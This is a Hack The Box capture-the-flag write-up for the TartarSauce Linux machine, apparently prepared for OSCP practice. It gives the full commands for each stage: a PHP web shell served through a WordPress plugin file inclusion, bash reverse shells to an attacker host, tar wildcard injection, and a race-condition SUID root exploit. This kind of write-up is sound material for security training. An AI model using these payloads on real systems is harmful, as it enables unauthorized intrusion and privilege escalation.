TartarSauce (HTB)
Platform: Hack The Box
OS: Linux
Difficulty: Medium
Result: root
Attack Chain
Reconnaissance
├── nmap -p- --min-rate=5000 -T4 → 80 (Apache 2.4.18 Ubuntu)
├── robots.txt: /webservices/{tar,monstra-3.0.4,easy-file-uploader,developmental,phpmyadmin}
└── /etc/hosts: 10.129.1.185 tartarsauce.htb
Foothold (WordPress gwolle-gb RFI)
├── gobuster /webservices/ → /wp (301)
├── wpscan → WordPress 4.9.4, gwolle-gb v2.3.10 (fake readme.txt)
├── searchsploit gwolle → Gwolle Guestbook 1.5.3 RFI (CVE-2015-8351)
├── abspath=http://10.10.14.177/shell.php?
└── shell as www-data
Lateral Movement (tar wildcard injection)
├── sudo -l → (onuma) NOPASSWD: /bin/tar
├── touch -- '--checkpoint=1'
├── touch -- '--checkpoint-action=exec=sh shell.sh'
└── sudo -u onuma /bin/tar cf archive.tar * → shell as onuma
Privilege Escalation (backuperer race condition + SUID)
├── systemctl list-timers → backuperer.timer (every 5 minutes)
├── cat /usr/sbin/backuperer → tmpfile in /var/tmp, sleep 30, tar -zxvf as root
├── gcc -m32 -static -o setuid setuid.c → chmod 4755
├── tar -zcvf setuid.tar.gz --owner=root --group=root var/
├── wget setuid.tar.gz → /var/tmp/
├── Overwrite tmpfile within the 30-second window
└── /var/tmp/check/var/www/html/setuid → root
NOTE
All flags, passwords, hashes, and session tokens have been masked for ethical reasons.
Machine Briefing
Apache 2.4.18, WordPress with the vulnerable gwolle-gb 1.5.3 plugin, a root timer backuperer.timer, and a race condition in the backup script.
Reconnaissance
nmap -p- --min-rate=5000 -T4 -oG - tartarsauce.htb | grep open
| Port | Service | Version |
|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 |
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/
| /webservices/easy-file-uploader/
| /webservices/developmental/
| /webservices/phpmyadmin/
echo "10.129.1.185 tartarsauce.htb" | sudo tee -a /etc/hosts
Foothold
gobuster dir -u http://tartarsauce.htb/webservices/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
# /wp (301)
wpscan --url http://tartarsauce.htb/webservices/wp --enumerate p
# WordPress 4.9.4
# gwolle-gb - v2.3.10 (fake readme.txt)
searchsploit gwolle
# WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion
RFI (CVE-2015-8351)
mkdir -p /tmp/rfi
echo '<?php system($_GET["cmd"]); ?>' > /tmp/rfi/shell.php
cd /tmp/rfi && sudo python3 -m http.server 80
nc -lvnp 4444
curl -s -G "http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php" \
--data-urlencode "abspath=http://10.10.14.177/shell.php?" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.177/4444 0>&1'"
The abspath parameter is passed to include() without validation. Shell as www-data.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Lateral Movement (www-data → onuma)
sudo -l
# User www-data may run the following commands on TartarSauce:
# (onuma) NOPASSWD: /bin/tar
cd /dev/shm/tar
cat > shell.sh << 'EOF'
bash -c 'bash -i >& /dev/tcp/10.10.14.177/5555 0>&1'
EOF
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
nc -lvnp 5555
sudo -u onuma /bin/tar cf archive.tar *
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Shell as onuma.
Privilege Escalation
systemctl list-timers --all | grep -i backup
# backuperer.timer - every 5 minutes
cat /usr/sbin/backuperer
basedir=/var/www/html
tmpdir=/var/tmp
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom | sha1sum | cut -d' ' -f1)
check=$tmpdir/check
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
/bin/sleep 30
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]; then
exit 2
else
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
The key: a 30-second window between archive creation and verification.
// setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
system("/bin/sh");
}
gcc -m32 -static -o setuid setuid.c
chmod 4755 setuid
rm setuid.c
rm -rf var
mkdir -p var/www/html
cp setuid var/www/html/
chmod 4755 var/www/html/setuid
tar -zcvf setuid.tar.gz --owner=root --group=root var
tar -ztvf setuid.tar.gz
cd ~/Desktop && python3 -m http.server 8000
# on target (as onuma)
rm -f /var/tmp/setuid.tar.gz
wget http://10.10.14.177:8000/setuid.tar.gz -O /var/tmp/setuid.tar.gz
Overwrite the file within the window:
f=$(ls -la /var/tmp/ | grep "^-" | awk '{print $NF}' | grep "^\." | head -1)
echo "File: /var/tmp/$f"
rm -f "/var/tmp/$f"
cp /var/tmp/setuid.tar.gz "/var/tmp/$f"
ls -la "/var/tmp/$f"
sleep 35
ls -la /var/tmp/check/var/www/html/
# -rwsr-xr-x 1 root root 740204 ... setuid
/var/tmp/check/var/www/html/setuid
whoami
# root
cat /root/root.txt
# <ROOT_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Flags
| Flag | Value |
|---|---|
| User | <USER_FLAG> |
| Root | <ROOT_FLAG> |
Key Takeaways
- Faking the plugin version - administrators edit
readme.txtto fool scanners. - RFI via unvalidated
include-abspathin Gwolle Guestbook 1.5.3. - Tar wildcard injection - files like
--checkpoint-action=...become options. - Race condition in backup scripts - predictable
sleep 30window. - Static compilation - critical for cross-version GLIBC incompatibility.
--owner=root --group=rootin tar - preserves SUID when extracted as root.